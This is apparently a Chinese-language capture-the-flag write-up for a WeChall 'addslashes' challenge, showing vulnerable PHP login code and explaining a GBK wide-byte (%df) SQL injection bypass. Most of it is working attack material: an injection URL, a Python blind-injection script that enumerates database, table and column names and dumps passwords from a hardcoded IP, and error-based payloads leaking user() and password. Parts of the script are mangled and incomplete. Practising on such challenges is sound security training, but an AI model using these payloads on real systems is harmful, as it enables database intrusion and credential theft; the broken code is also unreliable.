<?php function asvsmysql_login($username, $password) { $username = addslashes($username); $password = md5($password); if (false === ($db = gdo_db_instance('localhost', ADDSLASH_USERNAME, ADDSLASH_PASSWORD, ADDSLASH_DATABASE, GWF_DB_TYPE, 'GBK'))) { return htmlDisplayError('Can`t connect to database.'); }
$db->setLogging(false); $db->setEMailOnError(false); $query = "SELECT username FROM users WHERE username='$username' AND password='$password'"; if (false === ($result = $db->queryFirst($query))) { return htmlDisplayError('Wrong username/password.'); } if ($result['username'] !== 'Admin') { return htmlDisplayError('You are logged in, but not as Admin.'); } return htmlDisplayMessage('You are logged in. congrats!'); } ?>
题目给的代码部分注意到GBK 了吗! 去他个DJ 的原理直接%df干它!
1
http://www.wechall.net/challenge/addslashes/index.php?username=Admin%df' or (if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>1,1,0))%23&password=111&login=注册
import requests import re import binascii #' and (ascii(substr(database(),1,1))) #' and length(database())={0} %23 #' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>1%23 #' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>100 %23 #' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),5,1))>108%23 #' and length((select column_name from information_schema.columns where table_name=database() limit 0,1))>100 %23
URL="http://120.203.13.75:6815/?id=1"
defgetDBName_len(): DB_len=0 #payload="' and length(database())={0} %23" payload="%df' and length(database())={0} %23" i=0; while(1): url_payload=URL+payload url = url_payload.format(i) #print url response = requests.get(url) #pattern = re.compile(r'You are in') pattern = re.compile(r'Hello World!OVO') match = pattern.search(response.text) if match: DB_len=i print("DBName_length:",i) getDBName(i) break i=i+1
for i in range(1,DBName_len+1): print("Number of letter:",i) for char in chars: #print("Test letter"+char) char_ascii = ord(char) url = url_payload.format(i,char_ascii) #print url
response = requests.get(url) pattern = re.compile(r'Hello World!OVO') match = pattern.search(response.text) if match: DBName += char print("DBName is:"+DBName+"...") break print("over! DBName is:"+DBName) defgetTableName_len(): payload="%df' and length((select table_name from information_schema.tables where table_schema=database() limit 3,1))={0} %23" i=0 url_payload=URL+payload while(1): url = url_payload.format(i) print url; response = requests.get(url) pattern = re.compile(r'Hello World!OVO') match = pattern.search(response.text) if match: print("TableName_length:",i) getTableName(i) break i=i+1 defgetTableName(TableName_len): payload="%df' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),{0},1))={1}%23" Table_name="" url_payload=URL+payload chars='0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz{}_' print("Start to retreve Table name...") for i in range(1,TableName_len+1): print("Number of letter:",i) for char in chars: char_ascii = ord(char) url=url_payload.format(i,char_ascii) print url response = requests.get(url) pattern = re.compile(r'Hello World!OVO') match = pattern.search(response.text) if match: Table_name += char print("TableName is:"+Table_name+"...") break print("over! TableName is:"+Table_name) getColumn_len(Table_name) defgetColumn_len(Table_name): payload1 = " %df' and length((select column_name from information_schema.columns where table_name=0x" payload2=binascii.b2a_hex(Table_name.encode('utf-8'))+" limit 1,1))={0} %23" url_payload = URL+payload1+payload2 i=0 while(1): url = url_payload.format(i) print url response = requests.get(url) pattern = re.compile(r'Hello World!OVO') match = pattern.search(response.text) if match: print("Column_length",i) getColumn_Name(Table_name,i) break i=i+1 defgetColumn_Name(Table_name,column_len): Column_name='' payload1 = "%df' and ascii(substr((select column_name from information_schema.columns where table_name=0x"####table change hex payload2= binascii.b2a_hex(Table_name.encode('utf-8'))+" limit 1,1),{0},1))={1}%23" chars='0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz{}_' url_payload=URL+payload1+payload2 print("Start to retreve Column name...") for i in range(column_len+1): print("Number of letter:",i) for char in chars: char_ascii = ord(char) url = url_payload.format(i,char_ascii) response = requests.get(url) pattern = re.compile(r'Hello World!OVO') match = pattern.search(response.text) if match: Column_name += char print("ColumnName is:"+ Column_name+"...") break print("over! ColumnName is:"+ Column_name) defDumpData_len(Colum_name,Table_name): column=Colum_name table=Table_name payload=" and length((select " payload1=column + " from " payload2=table + " limit 0,1))={0} %23" url_payload=URL+payload+payload1+payload2 i=0 while(1): url=url_payload.format(i) print url response = requests.get(url) pattern = re.compile(r'PKD') match = pattern.search(response.text) if match: print("data_len:",i) DumpData(column,table,i) break i=i+1 defDumpData(Colum_name,Table_name,len): payload=" and ascii(substr((select " payload1=Colum_name + " from " payload2=Table_name + " limit 0,1),{0},1))={1}%23" chars='0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz{}_' url_payload=URL+payload+payload1+payload2 data='' print("Start to retreve Column name...") for i in range(1,len+1): print("Number of letter:",i) for char in chars: char_ascii = ord(char) url = url_payload.format(i,char_ascii) response = requests.get(url) pattern = re.compile(r'PKD') match = pattern.search(response.text) if match: data += char print("Dara is:"+ data +"...") break print("over! Data is:"+ data) #getDBName_len() #getTableName_len() DumpData_len('password','admin')
' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0 x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+
使用联合查询需要前后查询的列相同,直接改造后使用发现不能成功,借鉴别人的题解,于是想着利用or来拼接语句 %df' or (select count(*) from information_schema.tables group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) %23)
这条是别人的其他题的题解可以爆出答案,观察payload可以看出,只出现password字段,也就是说,可以不需要表名就注出数据!! %df' or (select count(*) from (select 1 union select 2 union select 3)x group by concat((select password),floor(rand(0)*2)))#